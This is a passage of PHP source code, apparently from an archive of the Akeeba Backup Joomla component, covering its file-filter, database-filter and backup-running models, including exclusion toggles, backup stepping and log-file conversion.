		// Get a listing of folders and process it
		$folders = Factory::getFileLister()->getFolders($directory);
		$folders_out = array();

		if (!empty($folders))
		{
			asort($folders);

			foreach ($folders as $folder)
			{
				$folder = Factory::getFilesystemTools()->TranslateWinPath($folder);

				// Filter out files whose names result to an empty JSON representation
				$json_folder = json_encode($folder);
				$folder      = json_decode($json_folder);

				if (empty($folder))
				{
					continue;
				}

				$test   = $node . $folder;
				$status = array();

				// Check dir/all filter (exclude)
				$result                = $filters->isFilteredExtended($test, $root, 'dir', 'all', $byFilter);
				$status['directories'] = (!$result) ? 0 : (($byFilter == 'directories') ? 1 : 2);

				// Check dir/content filter (skip_files)
				$result              = $filters->isFilteredExtended($test, $root, 'dir', 'content', $byFilter);
				$status['skipfiles'] = (!$result) ? 0 : (($byFilter == 'skipfiles') ? 1 : 2);

				// Check dir/children filter (skip_dirs)
				$result             = $filters->isFilteredExtended($test, $root, 'dir', 'children', $byFilter);
				$status['skipdirs'] = (!$result) ? 0 : (($byFilter == 'skipdirs') ? 1 : 2);

				$status['link']  = @is_link($directory . '/' . $folder);

				// Add to output array
				$folders_out[ $folder ] = $status;
			}
		}

		unset($folders);
		$folders = $folders_out;

		// Get a listing of files and process it
		$files = Factory::getFileLister()->getFiles($directory);
		$files_out = array();

		if (!empty($files))
		{
			asort($files);

			foreach ($files as $file)
			{
				// Filter out files whose names result to an empty JSON representation
				$json_file = json_encode($file);
				$file      = json_decode($json_file);

				if (empty($file))
				{
					continue;
				}

				$test   = $node . $file;
				$status = [];

				// Check file/all filter (exclude)
				$result          = $filters->isFilteredExtended($test, $root, 'file', 'all', $byFilter);
				$status['files'] = (!$result) ? 0 : (($byFilter == 'files') ? 1 : 2);
				$status['size']  = $this->formatSize(@filesize($directory . '/' . $file), 1);
				$status['link']  = @is_link($directory . '/' . $file);

				// Add to output array
				$files_out[$file] = $status;
			}
		}

		unset($files);
		$files = $files_out;

		// Return a compiled array
		$retarray = array(
			'folders' => $folders,
			'files'   => $files
		);

		return $retarray;

		/* Return array format
		 * [array] :
		 * 		'folders' [array] :
		 * 			(folder_name) => [array]:
		 *				'directories'	=> 0|1|2
		 *				'skipfiles'		=> 0|1|2
		 *				'skipdirs'		=> 0|1|2
		 *		'files' [array] :
		 *			(file_name) => [array]:
		 *				'files'			=> 0|1|2
		 *
		 * Legend:
		 * 0 -> Not excluded
		 * 1 -> Excluded by the direct filter
		 * 2 -> Excluded by another filter (regex, api, an unknown plugin filter...)
		 */
	}

	/**
	 * Glues the current directory crumbs and the child directory into a node string
	 *
	 * @param   array|string  $crumbs  Breadcrumbs in array or JSON encoded array format
	 * @param   string        $child   The child folder (relative to the root defined by crumbs)
	 *
	 * @return  string  The absolute node (path) of the $child
	 */
	private function glue_crumbs(&$crumbs, $child)
	{
		// Construct the full node
		$node = '';

		// Some servers do not decode the crumbs. I don't know why!
		if (!is_array($crumbs) && (substr($crumbs, 0, 1) == '['))
		{
			$crumbs = @json_decode($crumbs);

			if ($crumbs === false)
			{
				$crumbs = array();
			}
		}

		if (!is_array($crumbs))
		{
			$crumbs = array();
		}

		array_walk($crumbs, function ($value, $index) {
			if (in_array(trim($value), array('.', '..')))
			{
				throw new \InvalidArgumentException("Unacceptable folder crumbs");
			}
		});

		if ((stristr($child, '/..') !== false) || (stristr($child, '\..') !== false))
		{
			throw new \InvalidArgumentException("Unacceptable child folder");
		}

		if (!empty($crumbs))
		{
			$node = implode('/', $crumbs);
		}

		if (!empty($node))
		{
			$node .= '/';
		}

		if (!empty($child))
		{
			$node .= $child;
		}

		return $node;
	}

	/**
	 * Returns an array with the listing and filter status of a directory
	 *
	 * @param   string        $root    Root directory
	 * @param   array|string  $crumbs  Breadcrumbs in array or JSON encoded array format, defining the parent directory
	 * @param   string        $child   The child directory we want to scan
	 *
	 * @return array
	 */
	public function make_listing($root, $crumbs = [], $child = '')
	{
		// Construct the full node
		$node = $this->glue_crumbs($crumbs, $child);

		// Create the new crumbs
		if (!is_array($crumbs))
		{
			$crumbs = array();
		}

		if (!empty($child))
		{
			$crumbs[] = $child;
		}

		// Get listing with the filter info
		$listing = $this->get_listing($root, $node);

		// Assemble the array
		$listing['root']   = $root;
		$listing['crumbs'] = $crumbs;

		return $listing;
	}

	/**
	 * Toggle a filter
	 *
	 * @param   string  $root    Root directory
	 * @param   array   $crumbs  Components of the current directory relative to the root
	 * @param   string  $item    The child item of the current directory we want to toggle the filter for
	 * @param   string  $filter  The name of the filter to apply (directories, skipfiles, skipdirs, files)
	 *
	 * @return  array
	 */
	public function toggle($root, $crumbs, $item, $filter)
	{
		$node = $this->glue_crumbs($crumbs, $item);

		return $this->applyExclusionFilter($filter, $root, $node, 'toggle');
	}

	/**
	 * Set a filter
	 *
	 * @param   string  $root    Root directory
	 * @param   array   $crumbs  Components of the current directory relative to the root
	 * @param   string  $item    The child item of the current directory we want to set the filter for
	 * @param   string  $filter  The name of the filter to apply (directories, skipfiles, skipdirs, files)
	 *
	 * @return  array
	 */
	public function setFilter($root, $crumbs, $item, $filter)
	{
		$node = $this->glue_crumbs($crumbs, $item);

		return $this->applyExclusionFilter($filter, $root, $node, 'set');
	}

	/**
	 * Remove a filter
	 *
	 * @param   string  $root    Root directory
	 * @param   array   $crumbs  Components of the current directory relative to the root
	 * @param   string  $item    The child item of the current directory we want to remove the filter for
	 * @param   string  $filter  The name of the filter to apply (directories, skipfiles, skipdirs, files)
	 *
	 * @return  array
	 */
	public function remove($root, $crumbs, $item, $filter)
	{
		$node = $this->glue_crumbs($crumbs, $item);

		return $this->applyExclusionFilter($filter, $root, $node, 'remove');
	}

	/**
	 * Swap a filter
	 *
	 * @param   string  $root    Root directory
	 * @param   array   $crumbs  Components of the current directory relative to the root
	 * @param   string  $item    The child item of the current directory we want to set the filter for
	 * @param   string  $filter  The name of the filter to apply (directories, skipfiles, skipdirs, files)
	 *
	 * @return  array
	 */
	public function swap($root, $crumbs, $old_item, $new_item, $filter)
	{
		$new_node = $this->glue_crumbs($crumbs, $new_item);
		$old_node = $this->glue_crumbs($crumbs, $old_item);

		return $this->applyExclusionFilter($filter, $root, $new_node, 'swap', $old_node);
	}

	/**
	 * Retrieves the filters as an array. Used for the tabular filter editor.
	 *
	 * @param   string  $root  The root node to search filters on
	 *
	 * @return  array  A collection of hash arrays containing node and type for each filtered element
	 */
	public function &get_filters($root)
	{
		return $this->getTabularFilters($root);
	}

	/**
	 * Resets the filters
	 *
	 * @param   string  $root  Root directory
	 *
	 * @return  array
	 */
	public function resetFilters($root)
	{
		$this->resetAllFilters($root);

		return $this->make_listing($root);
	}

	/**
	 * Handles a request coming in through AJAX. Basically, this is a simple proxy to the model methods.
	 *
	 * @return  array
	 */
	public function doAjax()
	{
		$action = $this->getState('action');
		$verb   = array_key_exists('verb', get_object_vars($action)) ? $action->verb : null;

		if (!array_key_exists('crumbs', get_object_vars($action)))
		{
			$action->crumbs = '';
		}

		$ret_array = array();

		switch ($verb)
		{
			// Return a listing for the normal view
			case 'list':
				$ret_array = $this->make_listing($action->root, $action->crumbs, $action->node);
				break;

			// Toggle a filter's state
			case 'toggle':
				$ret_array = $this->toggle($action->root, $action->crumbs, $action->node, $action->filter);
				break;

			// Set a filter (used by the editor)
			case 'set':
				$ret_array = $this->setFilter($action->root, $action->crumbs, $action->node, $action->filter);
				break;

			// Swap a filter (used by the editor)
			case 'swap':
				$ret_array =
					$this->swap($action->root, $action->crumbs, $action->old_node, $action->new_node, $action->filter);
				break;

			case 'tab':
				$ret_array = $this->get_filters($action->root);
				break;

			// Reset filters
			case 'reset':
				$ret_array = $this->resetFilters($action->root);
				break;
		}

		return $ret_array;
	}

	/**
	 * Format the size of the file (given in bytes) to something human readable, e.g. 123 MB
	 *
	 * @param   int  $bytes     The file size in bytes
	 * @param   int  $decimals  How many decimals you want (default: 0)
	 *
	 * @return  string  The human-readable, formatted size
	 */
	private function formatSize($bytes, $decimals = 0)
	{
		$bytes  = empty($bytes) ? 0 : (int) $bytes;
		$format = empty($decimals) ? '%0u' : '%0.' . $decimals . 'f';

		$uom = [
			'TB' => 1048576 * 1048576,
			'GB' => 1024 * 1048576,
			'MB' => 1048576,
			'KB' => 1024,
			'B'  => 1,
		];

		// Whole bytes cannot have decimal positions
		if (!empty($decimals))
		{
			unset($uom['B']);
		}

		foreach ($uom as $unit => $byteSize)
		{
			if (floatval($bytes) >= $byteSize)
			{
				return sprintf($format, $bytes / $byteSize) . ' ' . $unit;
			}
		}

		// If the number is either too big or too small,
		return sprintf('%0u B', $bytes);
	}

}
com_akeeba/Model/DatabaseFilters.php000060400000016606152455305260013434 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\Mixin\ExclusionFilter;
use Akeeba\Engine\Factory;
use Exception;
use FOF40\Container\Container;
use FOF40\Model\Model;
use Joomla\CMS\Language\Text;

/**
 * Database Filters model
 *
 * Handles the exclusion of database tables (whole or just their data)
 */
class DatabaseFilters extends Model
{
	use ExclusionFilter;

	public function __construct(Container $container, array $config)
	{
		parent::__construct($container, $config);

		$this->knownFilterTypes = ['tables', 'tabledata'];
	}

	/**
	 * Returns a list of the database tables, views, procedures, functions and triggers,
	 * along with their filter status in array format, for use in the GUI
	 *
	 * @param   string  $root  The database root we're working on
	 *
	 * @return  array  Hash array. 'tables' is an array list of tables w/ metadata. 'root' is the current db root.
	 */
	public function make_listing($root)
	{
		// Get database inclusion filters
		$filters       = Factory::getFilters();
		$database_list = $filters->getInclusions('db');

		// Load the database object for the selected database
		$config         = $database_list[$root];
		$config['user'] = $config['username'];
		$db             = Factory::getDatabase($config);

		// Load the table data
		try
		{
			$table_data = $db->getTables();
		}
		catch (Exception $e)
		{
			$table_data = [];
		}

		$tableMeta = [];

		try
		{
			$db->setQuery('SHOW TABLE STATUS');

			$temp = $db->loadAssocList();

			foreach ($temp as $record)
			{
				$tableMeta[$db->getAbstract($record['Name'])] = [
					'engine'      => $record['Engine'],
					'rows'        => $record['Rows'],
					'dataLength'  => $record['Data_length'],
					'indexLength' => $record['Index_length'],
				];
			}
		}
		catch (Exception $e)
		{
		}

		// Process filters
		$tables = [];

		if (!empty($table_data))
		{
			foreach ($table_data as $table_name => $table_type)
			{
				$status = [
					'engine'      => null,
					'rows'        => null,
					'dataLength'  => null,
					'indexLength' => null,
				];

				if (array_key_exists($table_name, $tableMeta))
				{
					$status = $tableMeta[$table_name];
				}

				// Add table type
				$status['type'] = $table_type;

				// Check dbobject/all filter (exclude)
				$result           = $filters->isFilteredExtended($table_name, $root, 'dbobject', 'all', $byFilter);
				$status['tables'] = (!$result) ? 0 : (($byFilter == 'tables') ? 1 : 2);

				// Check dbobject/content filter (skip table data)
				$result              = $filters->isFilteredExtended($table_name, $root, 'dbobject', 'content', $byFilter);
				$status['tabledata'] = (!$result) ? 0 : (($byFilter == 'tabledata') ? 1 : 2);

				// We can't filter contents of views, merge tables, black holes, procedures, functions and triggers
				if ($table_type != 'table')
				{
					$status['tabledata'] = 2;
				}

				$tables[$table_name] = $status;
			}
		}

		return [
			'tables' => $tables,
			'root'   => $root,
		];
	}

	/**
	 * Returns an array containing a mapping of db root names and their human-readable representation
	 *
	 * @return  array  Array of objects; "value" contains the root name, "text" the human-readable text
	 */
	public function get_roots()
	{
		// Get database inclusion filters
		$filters       = Factory::getFilters();
		$database_list = $filters->getInclusions('db');

		$ret = [];

		foreach ($database_list as $name => $definition)
		{
			$root = $definition['host'];

			if (!empty($definition['port']))
			{
				$root .= ':' . $definition['port'];
			}

			$root .= '/' . $definition['database'];

			if ($name == '[SITEDB]')
			{
				$root = Text::_('COM_AKEEBA_DBFILTER_LABEL_SITEDB');
			}

			$ret[] = (object) [
				'value' => $name,
				'text'  => $root,
			];
		}

		return $ret;
	}

	/**
	 * Toggle a filter
	 *
	 * @param   string  $root    Database root
	 * @param   string  $item    The db entity we want to toggle the filter for
	 * @param   string  $filter  The name of the filter to apply (tables, tabledata)
	 *
	 * @return  array
	 */
	public function toggle($root, $item, $filter)
	{
		return $this->applyExclusionFilter($filter, $root, $item, 'toggle');
	}

	/**
	 * Set a filter
	 *
	 * @param   string  $root    Database root
	 * @param   string  $item    The db entity we want to toggle the filter for
	 * @param   string  $filter  The name of the filter to apply (tables, tabledata)
	 *
	 * @return  array
	 */
	public function remove($root, $item, $filter)
	{
		return $this->applyExclusionFilter($filter, $root, $item, 'remove');
	}

	/**
	 * Set a filter
	 *
	 * @param   string  $root    Database root
	 * @param   string  $item    The db entity we want to toggle the filter for
	 * @param   string  $filter  The name of the filter to apply (tables, tabledata)
	 *
	 * @return  array
	 */
	public function setFilter($root, $item, $filter)
	{
		return $this->applyExclusionFilter($filter, $root, $item, 'set');
	}

	/**
	 * Swap a filter
	 *
	 * @param   string  $root      Database root
	 * @param   string  $old_item  The db entity that used to be filtered and will no longer be
	 * @param   string  $new_item  The db entity that wasn't filtered but now will be
	 * @param   string  $filter    The name of the filter to apply (tables, tabledata)
	 *
	 * @return  array
	 */
	public function swap($root, $old_item, $new_item, $filter)
	{
		return $this->applyExclusionFilter($filter, $root, $new_item, 'swap', $old_item);
	}

	/**
	 * Retrieves the filters as an array. Used for the tabular filter editor.
	 *
	 * @param   string  $root  The root node to search filters on
	 *
	 * @return  array  An array of hash arrays containing node and type for each filtered element
	 */
	public function &get_filters($root)
	{
		return $this->getTabularFilters($root);
	}

	/**
	 * Resets all filters
	 *
	 * @param   string  $root  Root directory
	 *
	 * @return  array
	 */
	public function resetFilters($root)
	{
		$this->resetAllFilters($root);

		return $this->make_listing($root);
	}

	/**
	 * Handles a request coming in through AJAX. Basically, this is a simple proxy to the model methods.
	 *
	 * @return  array
	 */
	public function doAjax()
	{
		$action = $this->getState('action');
		$verb   = array_key_exists('verb', get_object_vars($action)) ? $action->verb : null;

		$ret_array = [];

		switch ($verb)
		{
			// Return a listing for the normal view
			case 'list':
				$ret_array = $this->make_listing($action->root);
				break;

			// Toggle a filter's state
			case 'toggle':
				$ret_array = $this->toggle($action->root, $action->node, $action->filter);
				break;

			// Set a filter (used by the editor)
			case 'set':
				$ret_array = $this->setFilter($action->root, $action->node, $action->filter);
				break;

			// Remove a filter (used by the editor)
			case 'remove':
				$ret_array = $this->remove($action->root, $action->node, $action->filter);
				break;

			// Swap a filter (used by the editor)
			case 'swap':
				$ret_array = $this->swap($action->root, $action->old_node, $action->new_node, $action->filter);
				break;

			// Tabular view
			case 'tab':
				$ret_array = $this->get_filters($action->root);
				break;

			// Reset filters
			case 'reset':
				$ret_array = $this->resetFilters($action->root);
				break;
		}

		return $ret_array;
	}
}
com_akeeba/Model/Backup.php000060400000044037152455305260011603 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Psr\Log\LogLevel;
use Akeeba\Engine\Util\PushMessages;
use DateTimeZone;
use DirectoryIterator;
use Exception;
use FOF40\Date\Date;
use FOF40\Factory\Exception\ModelNotFound;
use FOF40\Model\Model;
use FOF40\Timer\Timer;
use Joomla\CMS\Language\Text;
use RuntimeException;

/**
 * Backup model. Handles the server-side logic of interfacing with the backup engine (Akeeba Engine)
 */
class Backup extends Model
{
	/**
	 * Starts or step a backup process. Set the state variable "ajax" to the task you want to execute OR call the
	 * relevant public method directly.
	 *
	 * @return  array  An Akeeba Engine return array
	 */
	public function runBackup()
	{
		$ret_array = [];

		$ajaxTask = $this->getState('ajax');

		switch ($ajaxTask)
		{
			// Start a new backup
			case 'start':
				$ret_array = $this->startBackup();
				break;

			// Step through a backup
			case 'step':
				$ret_array = $this->stepBackup();
				break;

			// Send a push notification for backup failure
			case 'pushFail':
				$this->pushFail();
				break;

			default:
				break;
		}

		return $ret_array;
	}

	/**
	 * Starts a new backup.
	 *
	 * State variables expected
	 * backupid        The ID of the backup. If none is set up we will create a new one in the form id123
	 * tag            The backup tag, e.g. "frontend". If none is set up we'll get it through the Platform.
	 * description    The description of the backup (optional)
	 * comment      The comment of the backup (optional)
	 * jpskey       JPS password
	 * angiekey     ANGIE password
	 *
	 * @param   array  $overrides  Configuration overrides
	 *
	 * @return  array  An Akeeba Engine return array
	 */
	public function startBackup(array $overrides = [])
	{
		// Get information from the session
		$tag         = $this->getState('tag', null, 'string');
		$description = $this->getState('description', '', 'string');
		$comment     = $this->getState('comment', '', 'html');
		$jpskey      = $this->getState('jpskey', null, 'raw');
		$angiekey    = $this->getState('angiekey', null, 'raw');
		$backupId = $this->getBackupId();

		// Use the default description if none specified
		$description = $description ?: $this->getDefaultDescription();

		// Try resetting the engine
		try
		{
			Factory::resetState([
				'maxrun' => 0,
			]);
		}
		catch (Exception $e)
		{
			// This will die if the output directory is invalid. Let it die, then.
		}

		// Remove any stale memory files left over from the previous step
		if (empty($tag))
		{
			$tag = Platform::getInstance()->get_backup_origin();
		}

		$tempVarsTag = $tag;
		$tempVarsTag .= empty($backupId) ? '' : ('.' . $backupId);

		Factory::getFactoryStorage()->reset($tempVarsTag);
		Factory::nuke();
		Factory::getLog()->log(LogLevel::DEBUG, " -- Resetting Akeeba Engine factory ($tag.$backupId)");
		Platform::getInstance()->load_configuration();

		// Autofix the output directory
		/** @var ConfigurationWizard $confWizModel */
		$confWizModel = $this->container->factory->model('ConfigurationWizard')->tmpInstance();
		$confWizModel->autofixDirectories();

		// Rebase Off-site Folder Inclusion filters to use site path variables
		/** @var \Akeeba\Backup\Admin\Model\IncludeFolders $incFoldersModel */
		try
		{
			$incFoldersModel = $this->container->factory->model('IncludeFolders')->tmpInstance();
			$incFoldersModel->rebaseFiltersToSiteDirs();
		}
		catch (ModelNotFound $e)
		{
			// Not a problem. This is expected to happen in the Core version.
		}

		// Should I apply any configuration overrides?
		if (is_array($overrides) && !empty($overrides))
		{
			$config        = Factory::getConfiguration();
			$protectedKeys = $config->getProtectedKeys();
			$config->resetProtectedKeys();

			foreach ($overrides as $k => $v)
			{
				$config->set($k, $v);
			}

			$config->setProtectedKeys($protectedKeys);
		}

		// Check if there are critical issues preventing the backup
		if (!Factory::getConfigurationChecks()->getShortStatus())
		{
			$configChecks = Factory::getConfigurationChecks()->getDetailedStatus();

			foreach ($configChecks as $checkItem)
			{
				if ($checkItem['severity'] != 'critical')
				{
					continue;
				}

				return [
					'HasRun'   => 0,
					'Domain'   => 'init',
					'Step'     => '',
					'Substep'  => '',
					'Error'    => 'Failed configuration check Q' . $checkItem['code'] . ': ' . $checkItem['description'] . '. Please refer to https://www.akeeba.com/documentation/warnings/q' . $checkItem['code'] . '.html for more information and troubleshooting instructions.',
					'Warnings' => [],
					'Progress' => 0,
				];
			}
		}

		// Set up Kettenrad
		$options = [
			'description' => $description,
			'comment'     => $comment,
			'jpskey'      => $jpskey,
			'angiekey'    => $angiekey,
		];

		if (is_null($jpskey))
		{
			unset ($options['jpskey']);
		}

		if (is_null($angiekey))
		{
			unset ($options['angiekey']);
		}

		$kettenrad = Factory::getKettenrad();
		$kettenrad->setBackupId($backupId);
		$kettenrad->setup($options);

		$this->setState('backupid', $backupId);

		/**
		 * Convert log files in the backup output directory
		 *
		 * This removes the obsolete, default log files (akeeba.(backend|frontend|cli|json).log and converts the old .log
		 * files into their .php counterparts.
		 *
		 * We are doing this when loading the the Control Panel page but ALSO when taking a new backup because some
		 * people might be installing updates and taking backups automatically, without visiting the Control Panel
		 * except in rare cases.
		 */
		$this->convertLogFiles(3);

		/**
		 * We need to run tick() twice in the first backup step.
		 *
		 * The first tick() will reset the backup engine and start a new backup. However, no backup record is created
		 * at this point. This means that Factory::loadState() cannot find a backup record, therefore it cannot read
		 * the backup profile being used, therefore it will assume it's profile #1.
		 *
		 * The second tick() creates the backup record without doing much else, fixing this issue.
		 *
		 * However, if you have conservative settings where the min exec time is MORE than the max exec time the second
		 * tick would never run. Therefore we need to tell the first tick to ignore the time settings (since it only
		 * takes a few milliseconds to execute anyway) and then apply the time settings on the second tick (which also
		 * only takes a few milliseconds). This is why we have setIgnoreMinimumExecutionTime before and after the first
		 * tick. DO NOT REMOVE THESE.
		 *
		 * Furthermore, if the first tick reaches the end of backup or an error condition we MUST NOT run the second
		 * tick() since the engine state will be invalid. Hence the check for the state that performs a hard break. This
		 * could happen if you have a sufficiently high max execution time, no break between steps and we fail to
		 * execute any step, e.g. the installer image is missing, a database error occurred or we can not list the files
		 * and directories to back up.
		 *
		 * THEREFORE, DO NOT REMOVE THE LOOP OR THE if-BLOCK IN IT, THEY ARE THERE FOR A GOOD REASON!
		 */
		$kettenrad->setIgnoreMinimumExecutionTime(true);

		for ($i = 0; $i < 2; $i++)
		{
			$kettenrad->tick();

			if (in_array($kettenrad->getState(), [Part::STATE_FINISHED, Part::STATE_ERROR]))
			{
				break;
			}

			$kettenrad->setIgnoreMinimumExecutionTime(false);
		}

		if (version_compare(JVERSION, '4.0', 'ge'))
		{
			Factory::getLog()->warning(sprintf('You ar using Akeeba Backup %s on Joomla! %s. This is not supported and might lead to data loss. Please upgrade to Akeeba Backup 9 or later! YOU WILL RECEIVE NO SUPPORT WHATSOEVER FOR THIS BACKUP.', AKEEBA_VERSION, JVERSION));
		}

		$ret_array = $kettenrad->getStatusArray();

		try
		{
			Factory::saveState($tag, $backupId);
		}
		catch (RuntimeException $e)
		{
			$ret_array['Error'] = $e->getMessage();
		}

		return $ret_array;
	}

	/**
	 * Steps through a backup.
	 *
	 * State variables expected (MUST be set):
	 * backupid        The ID of the backup.
	 * tag            The backup tag, e.g. "frontend".
	 * profile      (optional) The profile ID of the backup.
	 *
	 * @param   bool  $requireBackupId  Should the backup ID be required?
	 *
	 * @return  array  An Akeeba Engine return array
	 */
	public function stepBackup($requireBackupId = true)
	{
		// Get information from the model state
		$tag      = $this->getState('tag', defined('AKEEBA_BACKUP_ORIGIN') ? AKEEBA_BACKUP_ORIGIN : null, 'string');
		$backupId = $this->getState('backupid', null, 'string');

		// Get the profile from the session, the AKEEBA_PROFILE constant or the model state – in this order
		$profile = max(0, (int) $this->getState('profile', 0)) ?: $this->getLastBackupProfile($tag, $backupId);

		// Set the active profile
		if (!$this->container->platform->isCli())
		{
			$this->container->platform->setSessionVar('profile', $profile);
		}

		if (!defined('AKEEBA_PROFILE'))
		{
			define('AKEEBA_PROFILE', $profile);
		}

		// Run a backup step
		$ret_array = [
			'HasRun'   => 0,
			'Domain'   => 'init',
			'Step'     => '',
			'Substep'  => '',
			'Error'    => '',
			'Warnings' => [],
			'Progress' => 0,
		];

		try
		{
			// Reload the configuration
			Platform::getInstance()->load_configuration($profile);

			// Load the engine from storage
			Factory::loadState($tag, $backupId, $requireBackupId);

			// Set the backup ID and run a backup step
			$kettenrad = Factory::getKettenrad();
			$kettenrad->tick();
			$ret_array = $kettenrad->getStatusArray();
		}
		catch (Exception $e)
		{
			$ret_array['Error'] = $e->getMessage();
		}

		try
		{
			if (empty($ret_array['Error']) && ($ret_array['HasRun'] != 1))
			{
				Factory::saveState($tag, $backupId);
			}
		}
		catch (RuntimeException $e)
		{
			$ret_array['Error'] = $e->getMessage();
		}

		if (!empty($ret_array['Error']) || ($ret_array['HasRun'] == 1))
		{
			/**
			 * Do not nuke the Factory if we're trying to resume after an error.
			 *
			 * When the resume after error (retry) feature is enabled AND we are performing a backend backup we MUST
			 * leave the factory storage intact so we can actually resume the backup. If we were to nuke the Factory
			 * the resume would report that it cannot load the saved factory and lead to a failed backup.
			 */
			$config = Factory::getConfiguration();

			if ($this->container->platform->isBackend() && $config->get('akeeba.advanced.autoresume', 1))
			{
				// We are about to resume; abort.
				return $ret_array;
			}

			// Clean up
			Factory::nuke();

			$tempVarsTag = $tag;
			$tempVarsTag .= empty($backupId) ? '' : ('.' . $backupId);

			Factory::getFactoryStorage()->reset($tempVarsTag);
		}

		return $ret_array;
	}

	/**
	 * Send a push notification for a failed backup
	 *
	 * State variables expected (MUST be set):
	 * errorMessage  The error message
	 *
	 * @return  void
	 */
	public function pushFail()
	{
		$errorMessage = $this->getState('errorMessage');

		$platform = Platform::getInstance();
		$key      = 'COM_AKEEBA_PUSH_ENDBACKUP_FAIL_BODY_WITH_MESSAGE';

		if (empty($errorMessage))
		{
			$key = 'COM_AKEEBA_PUSH_ENDBACKUP_FAIL_BODY';
		}

		$pushSubject = sprintf(
			$platform->translate('COM_AKEEBA_PUSH_ENDBACKUP_FAIL_SUBJECT'),
			$platform->get_site_name(),
			$platform->get_host()
		);
		$pushDetails = sprintf(
			$platform->translate($key),
			$platform->get_site_name(),
			$platform->get_host(),
			$errorMessage
		);

		$push = new PushMessages();
		$push->message($pushSubject, $pushDetails);
	}

	/**
	 * Convert the old, plaintext log files (.log) into their .log.php counterparts.
	 *
	 * @param   int  $timeOut  Maximum time, in seconds, to spend doing this conversion.
	 *
	 * @return  void
	 *
	 * @since   7.0.3
	 */
	public function convertLogFiles($timeOut = 10)
	{
		$registry = Factory::getConfiguration();
		$logDir   = $registry->get('akeeba.basic.output_directory', '[DEFAULT_OUTPUT]', true);

		$timer = new Timer($timeOut, 75);

		// Part I. Remove these obsolete files first
		$killFiles = [
			'akeeba.log',
			'akeeba.backend.log',
			'akeeba.frontend.log',
			'akeeba.cli.log',
			'akeeba.json.log',
		];

		foreach ($killFiles as $fileName)
		{
			$path = $logDir . '/' . $fileName;

			if (@is_file($path))
			{
				@unlink($path);
			}
		}

		if ($timer->getTimeLeft() <= 0.01)
		{
			return;
		}

		// Part II. Convert .log files.
		try
		{
			$di = new DirectoryIterator($logDir);
		}
		catch (Exception $e)
		{
			return;
		}

		foreach ($di as $file)
		{

			try
			{
				if (!$file->isFile())
				{
					continue;
				}
				$baseName = $file->getFilename();
				if (substr($baseName, 0, 7) !== 'akeeba.')
				{
					continue;
				}
				if (substr($baseName, -4) !== '.log')
				{
					continue;
				}
				$this->convertLogFile($file->getPathname());
				if ($timer->getTimeLeft() <= 0.01)
				{
					return;
				}
			}
			catch (Exception $e)
			{
				/**
				 * Someone did something stupid, like using the site's root as the backup output directory while having
				 * an open_basedir restriction. Sorry, mate, you get insecure junk. We had warned you. You didn't heed
				 * the warning. That's your problem now.
				 */
			}
		}
	}

	/**
	 * Get the profile used to take the last backup for the specified tag
	 *
	 * @param   string  $tag       The backup tag a.k.a. backup origin (backend, frontend, json, ...)
	 * @param   string  $backupId  (optional) The Backup ID
	 *
	 * @return  int  The profile ID of the latest backup taken with the specified tag / backup ID
	 */
	public function getLastBackupProfile($tag, $backupId = null)
	{
		$filters = [
			['field' => 'tag', 'value' => $tag],
		];

		if (!empty($backupId))
		{
			$filters[] = ['field' => 'backupid', 'value' => $backupId];
		}

		$statList = Platform::getInstance()->get_statistics_list([
				'filters' => $filters,
				'order'   => [
					'by' => 'id', 'order' => 'DESC',
				],
			]
		);

		if (is_array($statList))
		{
			$stat = array_pop($statList);

			return (int) $stat['profile_id'];
		}

		// Backup entry not found. If backupId was specified, try without a backup ID
		if (!empty($backupId))
		{
			return $this->getLastBackupProfile($tag);
		}

		// Else, return the default backup profile
		return 1;
	}

	/**
	 * Converts a log file from .log to .log.php
	 *
	 * @param   string  $filePath
	 *
	 * @return  void
	 *
	 * @since   7.0.3
	 */
	protected function convertLogFile($filePath)
	{
		// The name of the converted log file is the same with the extension .php appended to it.
		$newFile = $filePath . '.php';

		// If the new log file exists I should return immediately
		if (@file_exists($newFile))
		{
			return;
		}

		// Try to open the converted log file (.log.php)
		$fp = @fopen($newFile, 'w');

		if ($fp === false)
		{
			return;
		}

		// Try to open the source log file (.log)
		$sourceFP = @fopen($filePath, 'r');

		if ($sourceFP === false)
		{
			@fclose($fp);

			return;
		}

		// Write the die statement to the source log file
		fwrite($fp, '<' . '?' . 'php die(); ' . '?' . ">\n");

		// Copy data, 512KB at a time
		while (!feof($sourceFP))
		{
			$chunk = @fread($sourceFP, 524288);

			if ($chunk === false)
			{
				break;
			}

			$result = fwrite($fp, $chunk);

			if ($result === false)
			{
				break;
			}
		}

		// Close both files
		@fclose($sourceFP);
		@fclose($fp);

		// Delete the original (.log) file
		@unlink($filePath);
	}

	/**
	 * Get a new backup ID string.
	 *
	 * In the past we were trying to get the next backup record ID using two methods:
	 * - Querying the information_schema.tables metadata table. In many cases we saw this returning the wrong value,
	 *   even though the MySQL documentation said this should return the next autonumber (WTF?)
	 * - Doing a MAX(id) on the table and adding 1. This didn't work correctly if the latest records were deleted by the
	 *   user.
	 *
	 * However, the backup ID does not need to be the same as the backup record ID. It only needs to be *unique*. So
	 * this time around we are using a simple, unique ID based on the current GMT date and time.
	 *
	 * @return  string
	 */
	private function getBackupId(): string
	{
		$microtime    = explode(' ', microtime(false));
		$microseconds = (int) ($microtime[0] * 1000000);

		return 'id-' . gmdate('Ymd-His') . '-' . $microseconds;
	}

	/**
	 * Get the default backup description.
	 *
	 * The default description is "Backup taken on DATE TIME" where DATE TIME is the current timestamp in the most
	 * specific timezone. The timezone order, from least to most specific, is:
	 * * UTC (fallback)
	 * * Server Timezone from Joomla's Global Configuration
	 * * Timezone from the current user's profile (only applicable to backend backups)
	 * * Forced backup timezone
	 *
	 * @param   string  $format  Date and time format. Default: DATE_FORMAT_LC2 plus the abbreviated timezone
	 *
	 * @return  string
	 */
	public function getDefaultDescription(string $format = ''): string
	{
		// If no date format is specified we use DATE_FORMAT_LC2 plus the abbreviated timezone
		if (empty($format))
		{
